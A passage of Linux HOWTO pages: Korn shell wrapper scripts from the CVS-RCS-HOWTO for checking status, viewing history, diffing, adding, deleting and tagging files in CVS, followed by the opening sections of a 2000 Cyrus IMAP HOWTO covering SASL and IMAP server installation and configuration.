#               $ slist      (All files and sub-directories)
#               $ slist *.*      (All files)
#               $ slist *      (All files and sub-directories)
#               $ slist ab*      (All files starting with ab wild-card)

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir

# If file is already checked out by another developer....
cvs_root=` echo $CVSROOT | cut -f1 -d' '  `
if [ "$cvs_root" = "" ]; then
        print "\nError: \$CVSROOT is not set!!\n"
        exit
fi

# If the current directory tree is not in cvs-root then exit
if [ ! -d $CVSROOT/$subdir ]; then
        print "\nThe directory $subdir does not exist in $CVSROOT"
        exit
fi

#echo "no of params : " $#
#echo "The arg $ 1 is : " $1
#echo "all args : " $@

if [ $# -eq 0 ]; then
        #tmpbb=` find * -prune -type d `
        tmpbb=` find * -maxdepth 0 -type d `
elif [ $# -eq 1 ]; then
        if [ "$1" = "." ]; then
                #tmpbb=` find * -prune -type d `
                tmpbb=` find * -maxdepth 0 -type d `
        else
                if [ -d $1 -a ! -d $CVSROOT/$subdir/$1 ]; then
                        print "\nThe directory $subdir/$1 does not exist in $CVSROOT"
                        exit
                fi
                tmpbb=$@
        fi
else
        tmpbb=$@
fi

#echo "The tmpbb is : " $tmpbb

# Now, remove all the directory names which are not in cvs-root
dirnames=""
for ii in $tmpbb ; do
        if [ -d $CVSROOT/$subdir/$ii ]; then
                dirnames="$dirnames $ii "
        fi
done
#echo "The dirnames is : " $dirnames

if [ "$dirnames" != "" ]; then
        find $dirnames  -type f |
        while read ii
        do
                # List only those files which are in cvs system
                if [ -f "$CVSROOT/$subdir/$ii,v" ]; then
                        #echo "ii is : " $ii
                        ls -l $ii | grep ^\-rw
                fi
        done;
fi

# Get all the files in the current directory
listfiles=`ls $tmpbb `
# Option prune does not work use maxdepth
#find * -prune -type f |
find * -maxdepth 0 -type f |
while read ii
do
        for jj in $listfiles ; do
                if [ "$jj" = "$ii" ]; then
                        # List only those files which are in cvs system
                        if [ -f "$CVSROOT/$subdir/$ii,v" ]; then
                                #echo "ii is : " $ii
                                ls -l $ii | grep ^\-rw
                        fi
                fi
        done
done;


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sinfo

 Next Previous Contents

26. sinfo

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sinfo
# Program to get the status of files in working directory

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

if [ $# -lt 1 ]; then
        print "\nUsage: $cmdname [file/directory name] "
        print "For example - "
        print " $cmdname foo.cpp"
        print " $cmdname some_directory "
        print " "
        exit
fi

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname=$1
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Create subshell
if [ -f $1 ]; then
        (
        cd $homedir
                clear
                print "\ncvs status is : "
        cvs status "$subdir/$fname"
        )
elif [ -d $1 ]; then
        (
                cd $homedir
                clear
                print "\ncvs status is : "
                tmpfile="$homedir/cvs_sinfo.tmp"
                rm -f $tmpfile
        echo "  " >> $tmpfile
        echo "  ****************************************" >> $tmpfile
        echo "        Overall Status of Directory" >> $tmpfile
        echo "  ****************************************" >> $tmpfile
        cvs release "$subdir/$fname" 1>>$tmpfile 2>>$tmpfile << EOF
N
EOF
        echo "\n   -------------------------------\n" >> $tmpfile

        aa=`cat $tmpfile | grep ^"M " | awk '{print $2}' `
        for ii in $aa
        do
                        jj="(cd $homedir; cvs status \"$subdir/$ii\" );"
                        echo $jj | /bin/sh  \
                                        | grep -v Sticky | awk '{if (NF != 0) print $0}' \
                                        1>>$tmpfile 2>>$tmpfile
        done

        cat $tmpfile | grep -v ^? | grep -v "Are you sure you want to release" \
        | less
        rm -f $tmpfile
        )
else
        print "\nArgument $1 if not a file or directory"
        exit
fi


CVS-RCS-HOWTO Document for Linux (Source Code Control System): slog

 Next Previous Contents

27. slog

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program slog
# Program to list history of the file in CVS

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

if [ $# -lt 1 ]; then
        print "\nUsage: $cmdname <filename> \n"
        exit
fi

# Check if file does not exist....
if [ ! -f "$1" ]; then
        print "\nError: $1 is NOT a file. Aborting $cmdname ......"
        exit
fi

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname="$1"
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Operate inside a sub-shell
(
        cd $homedir
        cvs log "$homedir/$subdir/$fname" | less
)

print "\nDone $cmdname. $cmdname successful"
#print "\nTip (Usage): $cmdname <filename>\n"


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sdif

 Next Previous Contents

28. sdif

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sdif
# Program to see difference of the working file with CVS copy

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

Usage()
{
        print "\nUsage: $cmdname <filename> "
        print "$cmdname -r<rev1> -r<rev2> <filename> \n"
        exit
}

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

FLAG1=""
FLAG2=""
OARG1=""
OARG2=""
# Command getopt will not supported in next major release.
# Use getopts instead.
while getopts r:r: ii
do
        case $ii in
        r)
                if [ "$FLAG1" = "" ]; then
                        FLAG1=$ii;
                        OARG1="$OPTARG"
                else
                        FLAG2=$ii;
                        OARG2="$OPTARG"
                fi
                ;;
        ?) Usage; exit 2;;
        esac
done
shift ` expr $OPTIND - 1 `

if [ "$FLAG2" = "" ]; then
        FLAG2=r
        OARG2=HEAD
fi

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname="$1"
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Operate inside sub-shell
(
        cd $homedir
        if [ "$FLAG1" = "" ]; then
                cvs diff -r HEAD "$homedir/$subdir/$fname" | less
        else
                cvs diff -$FLAG1 $OARG1 -$FLAG2 $OARG2 "$homedir/$subdir/$fname" | less
        fi
)


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sadd

 Next Previous Contents

29. sadd

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sadd
# Program to add the file to CVS

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`
if [ $# -lt 1 ]; then
        print "\nUsage: $cmdname <filename/directory> \n"
        exit
fi

onearg="$1"
if [ ! -f "$onearg" -a ! -d "$onearg" ]; then
        print "\nArgument $onearg is not a file or a directory!"
        print "Usage: $cmdname <filename/directory> \n"
        exit
fi

# Argument is a directory name .....
homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cvs_root=` echo $CVSROOT | cut -f1 -d' '  `
if [ "$cvs_root" = "" ]; then
        print "\nError: \$CVSROOT is not set!!\n"
        exit
fi

cur_dir=`pwd`
len=${#homedir}
len=$(($len + 2))
subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname "$onearg" `
if [ "$tmpaa" = "." ]; then
        fname="$onearg"
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename "$onearg" `
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Check if file exists ....
if [ $# -eq 1 ]; then
        if [ -f "$onearg" ]; then
                cvs add "$onearg"
                exit
        fi
elif [ $# -gt 1 ]; then
        print "\n\n\nAdding all the files in the current directory to CVS"
        print "Directories will not be added"
        print -n "Hit return to continue or CTRL+C to abort..."
        read ans
        for ii in $@
        do
                if [ -f "$ii" ]; then
                        cvs add "$ii"
                fi
        done;
        exit
fi

# When $subdir is "." then you are at the root directory
if [ "$subdir" = "." ]; then
        # The $onearg is a directory and not a file at this point...
        if [ -d "$CVSROOT/$onearg" ]; then
                print "\nDirectory $onearg already exists in CVSROOT"
                exit
        else
                # You are adding at root directory $CVSROOT
                if [ "$2" = "" -o "$3" = "" ]; then
                        print "\nUsage: $cmdname <directory> <vendor tag> <release tag>"
                        print "For example - "
                        print " $cmdname foo_directory V_1_0 R_1_0"
                        exit
                else
                        (
                                cd "$homedir/$subdir";
                                cvs import "$onearg" $2 $3
                        )
                fi
        fi
else
        # If current directory exists in CVS...
        if [ -d "$CVSROOT/$subdir/$onearg" ]; then
                print "\nDirectory $onearg already in CVS repository!"
                exit
        else
                (
                        if [ -d "$homedir/$subdir/$onearg/CVS" ]; then
                                print "\nError: Directory $homedir/$subdir/$onearg/CVS exists!!"
                                print "\nAborting now ...."
                                exit
                        fi

                        # For import you MUST change to target directory
                        # and you MUST specify full-path starting with $subdir
                        cd "$homedir/$subdir/$onearg";
                        cvs import "$subdir/$onearg" Ver_1 Rel_1
                )
        fi
fi


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sdelete

 Next Previous Contents

30. sdelete

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sdelete
# Program to delete the file from CVS

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

if [ $# -lt 1 ]; then
        print "\nUsage: $cmdname <filename> \n"
        exit
fi

onearg="$1"

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
len=${#homedir}
len=$(($len + 2))
subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname "$onearg" `
if [ "$tmpaa" = "." ]; then
        fname="$onearg"
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename "$onearg" `
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Operate inside a sub-shell ...
(
        cd $homedir

        # Check if file does not exist....
        if [ ! -f "$subdir/$fname" ]; then
                # Try to get the file from CVS
                sget "$subdir/$fname"
                if [ ! -f "$subdir/$fname" ]; then
                        print "\nError: $subdir/$fname does NOT exist in CVS repository."
                        print "\nAborting $cmdname ......"
                        exit
                fi
        fi

        bkextn=cvs_sdelete_safety_backup
        \mv -f "$subdir/$fname" "$subdir/$fname.$bkextn"

        cvs remove "$subdir/$fname"

        print "\nsdelete command removes the file from CVS repository"
        print "and archives the file in CVS Attic directory. In case"
        print "you need this file in future then contact your CVS administrator"
        print " "

        print "\nDone $cmdname. $cmdname successful"
        print "Run scommit on $homedir/$subdir/$fname to"
        print "make this change permanent"
        \mv -f "$subdir/$fname.$bkextn" "$subdir/$fname"
)


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sfreeze

 Next Previous Contents

31. sfreeze

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sfreeze
# Program to freeze and cut out the release of source tree from CVS

cmdname=`basename $0`

Usage()
{
        clear
        print "\nUsage: $cmdname symbolic_tag <directory name> "

        print "\nFor example :- "
        print "   cd \$HOME"
        print "   $cmdname  REVISION_1   myprojectsource_directory"
        print "To see the list of revisons do -"
        print "slog <filename> and see the symbolic name and do -"
        print "cvs history -T"

        print "\nTo create a branch off-shoot from main trunk, use"
        print "the -b and -r options which makes the tag a branch tag. This is"
        print "useful for creating a patch to previously released software"
        print "For example :- "
        print "   cd \$HOME"
        print "   cvs rtag -b -r REVISION_1   REVISION_1_1   myprojectsource_directory"
        print " "

#   print "\nTag info is located at \$CVSROOT/CVSROOT/taginfo,v"
#   print "You can do - cd $HOME; sget CVSROOT"
#   print "to see this file"
        exit
}

# Command getopt will not supported in next major release.
# Use getopts instead.
#while getopts r: ii
#do
#       case $ii in
#               r) FLAG1=$ii; OARG1="$OPTARG";;
#               ?) Usage; exit 2;;
#       esac
#done
#shift ` expr $OPTIND - 1 `

#echo FLAG1 = $FLAG1 , OARG1 = $OARG1

if [ $# -lt 2 ]; then
        Usage
fi

if [ ! -d $2 ]; then
        print "\nError: Second argument $2 is not a directory!"
        print "       Aborting $cmdname...."
        print " "
        exit
fi

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
len=${#homedir}
len=$(($len + 2))
subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

if [ "$cur_dir" != "$homedir" ]; then
        print "\nYou are not in home directory $homedir!!"
        print "You must give the sfreeze command "
        print "from home directory $homedir"
        exit
fi

# cvs rtag symbolic_tag <directory name>
cvs rtag $1 $2

print "\nDone $cmdname. $cmdname successful"


Cyrus IMAP HOWTO

Aurora Skarra-Gallagher (Community Vision)

v1.3, 11 October 2000

A comprehensive guide to installing, configuring, and running Cyrus Imap and Cyrus Sasl

1. About this HOWTO

  • 1.1 Copyrights and Trademarks
  • 1.2 Feedback
  • 1.3 CHANGES
  • 1.4 Document Conventions

2. Introduction to IMAP

  • 2.1 What is IMAP?
  • 2.2 IMAP vs. POP
  • 2.3 Cyrus IMAP vs. Washington IMAP

3. Obtaining the Files

  • 3.1 Cyrus Imap Homepage
  • 3.2 Downloading the files

4. Different SASL Authentication Methods

  • 4.1 sasldb
  • 4.2 LDAP
  • 4.3 PAM
  • 4.4 kerberos_v4

5. Cyrus SASL

  • 5.1 Uncompress
  • 5.2 Building the files

6. Cyrus IMAP Installation

  • 6.1 Uncompress
  • 6.2 A note on com_err.h
  • 6.3 Configure
  • 6.4 Adding the default user
  • 6.5 Building the files

7. Cyrus IMAP Configuration

  • 7.1 Editing conf files
  • 7.2 Creating the necessary directories
  • 7.3 More configuration file editing
  • 7.4 If you use postfix instead of sendmail

8. Cyrus IMAP Implementation

  • 8.1 Add the cyrus administrator
  • 8.2 Testing Cyrus IMAP
  • 8.3 Setting up users
  • 8.4 Delivery database pruning
  • 8.5 Finishing up

9. Troubleshooting


Cyrus IMAP HOWTO: About this HOWTO

 Next Previous Contents

1. About this HOWTO

1.1 Copyrights and Trademarks

(c) 2000 Aurora Skarra-Gallagher

This section was copied from the HOWTO-HOWTO:

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies
  • Any translation or derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given. Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators. Any source code (aside from the SGML this document was written in) in this document is placed under the GNU General Public License, available via anonymous FTP from the GNU archive.

1.2 Feedback

Comments (especially corrections) can be sent to asg@CommunityVision.com

1.3 CHANGES

  • v1.3: inetd.conf error fix, authentication information added, more troubleshooting info
  • v1.2: SASL Config error fix, new postfix configuration, and database pruning (thanks, Jernej)
  • v1.1: Fixed sendmail.mc configuration file error and added IMAP information to the introduction.

1.4 Document Conventions

  • Italics signifies a directory
  • This font signifies instructions to be ran at the command line


Cyrus IMAP HOWTO: Introduction to IMAP

 Next Previous Contents

2. Introduction to IMAP

2.1 What is IMAP?

This definition is from the ComputerUser.com High-Tech Dictionary:

Internet Message Access Protocol. A protocol that allows a user to perform certain electronic mail functions on a remote server rather than on a local computer. Through IMAP the user can create, delete, or rename mailboxes; get new messages; delete messages; and perform search functions on mail. A separate protocol is required for sending mail. Also called Internet Mail Access Protocol.

2.2 IMAP vs. POP

IMAP allows the user to read email from many different locations and accounts because email folders are stored on the server, locally, at the home or the office, for instance. Even saved and read messages are stored on the IMAP server. POP only stores new unread messages on the server, and the read and saved messages are stored locally. To force POP to not delete email once it has been read can create many copies of the same email, creating a waste of space and confusion. However, IMAP is usually more complicated to set up. If you only have one email account, POP is most likely your best choice. If you want to access more than one account, from different locations, IMAP will probably serve you most efficiently.

2.3 Cyrus IMAP vs. Washington IMAP

Cyrus has its own mailbox database which is standalone and increases performance, whereas Washington uses the stanard UNIX mailbox format, which was designed for a smaller set of users. Washington is portable to more UNIX and non-UNIX systems than Cyrus. The main difference is that with Cyrus, you don't have to add new users to your linux box (i.e. in /etc/passwd) to add new mail users, and with Washington, you do.


Cyrus IMAP HOWTO: Obtaining the Files

 Next Previous Contents

3. Obtaining the Files

3.1 Cyrus Imap Homepage

The homepage is currently located at:

http://asg.web.cmu.edu/cyrus/imapd

3.2 Downloading the files

You will need both IMAP and SASL. Download the latest files here:

ftp://ftp.andrew.cmu.edu/pub/cyrus-mail

Download cyrus-imapd-X.X.X.tar.gz and cyrus-sasl-X.X.X.tar.gz (where X.X.X is the latest release) into your temporary directory.

I will use /temp as the directory I've uncompressed the files under for the rest of the examples.


Cyrus IMAP HOWTO: Different SASL Authentication Methods

 Next Previous Contents

4. Different SASL Authentication Methods

4.1 sasldb

This is the default method of authentication. It stores usernames and passwords in the SASL secrets file sasldb. In this HOWTO, I assume you are using the sasldb method of authentication.

4.2 LDAP

The following definition came from the OpenLDAP website. Lightweight Directory Access Protocol (LDAP) is an open-standard protocol for accessing information services. The protocol runs over Internet transport protocols, such as TCP, and can be used to access stand-alone directory servers or X.500 directories. This method isn't discussed in this HOWTO, but here is a link to a page with patches and info:

http://www.openldap.org/faq/data/cache/428.html

4.3 PAM

Not enough info to document. Email me if you have some.

4.4 kerberos_v4

Not enough info to document. Email me if you have some.


Cyrus IMAP HOWTO: Cyrus SASL

 Next Previous Contents

5. Cyrus SASL

5.1 Uncompress

Here we untar and gunzip the file in a single step.

  1. cd /temp
  2. tar -zxvf cyrus-sasl-X.X.X.tar.gz
  3. cd cyrus-sasl-X.X.X

5.2 Building the files

For most purposes, the following set of instructions works fine. If you would like to examine the other configuration options, type ./configure --help | more

  1. ./configure
  2. make
  3. make install

If you don't want your password check to be the default sasldb, you must specify which one of PAM, kerberos_v4, passwd, shadow you wish to use. If PAM is the authentication you desire for example, you would type:

./configure --with-pwcheck_method=PAM

instead of the ./configure line above


Cyrus IMAP HOWTO: Cyrus IMAP Installation

 Next Previous Contents

6. Cyrus IMAP Installation

6.1 Uncompress

The following commands will tar and gunzip cyrus IMAP under /temp.

  1. cd /temp
  2. tar -zxvf tar/cyrus-imapd-1.6.24.tar.gz
  3. cd cyrus-imapd-1.6.24

6.2 A note on com_err.h

When I tried to install cyrus IMAP, I got errors regarding the file com_err.h. My com_err.h was located in /usr/include/et. It needs to reside in /usr/include. Run the following command to make sure it is in the correct location:

locate com_err.h

This will show you where the file is. If it is under /usr/include, you can skip to the next section. If it is in another directory, just copy it to /usr/include. If it doesn't exist, download it here: http://www.ludd.luth.se/~jnilsson/cvsweb/cvsweb.cgi/src/contrib/com_err.

6.3 Configure

./configure --with-auth=unix

6.4 Adding the default user

Cyrus requires a user to own its files. The default user is cyrus. The following command adds a user cyrus with the group of "mail"

useradd -g mail cyrus

You'll want to set the password for user cyrus.

passwd cyrus

Type in the password you desire cyrus to have each time you are prompted

6.5 Building the files

  1. make depend
  2. make all CFLAGS=-O
  3. make install

That's it! You're ready to configure Cyrus IMAP.


Cyrus IMAP HOWTO: Cyrus IMAP Configuration

 Next Previous Contents

7. Cyrus IMAP Configuration

7.1 Editing conf files

  1. Edit /etc/syslog.conf and add the following lines at the bottom:
            local6.debug    /var/adm/imapd.log
        auth.debug      /var/adm/auth.log
  2. Edit a new file /etc/imapd.conf and place in it the following lines:
            configdirectory: /var/imap
        partition-default: /var/spool/imap
        admins: cyrus root
        srvtab: /var/imap/srvtab
        allowanonymouslogin: no
        sasl_passwd_check: shadow

If you don't want your password check to be the default sasldb, you must specify which one of PAM, kerberos_v4, passwd, shadow you wish to use. If PAM is the authentication you desire for example, you would type:

sasl_passwd_check: pam

instead of the line above

7.2 Creating the necessary directories

This list of instructions will set up all the directories necessary for imap.

  1. mkdir /var/adm
  2. touch /var/adm/imapd.log /var/adm/auth.log
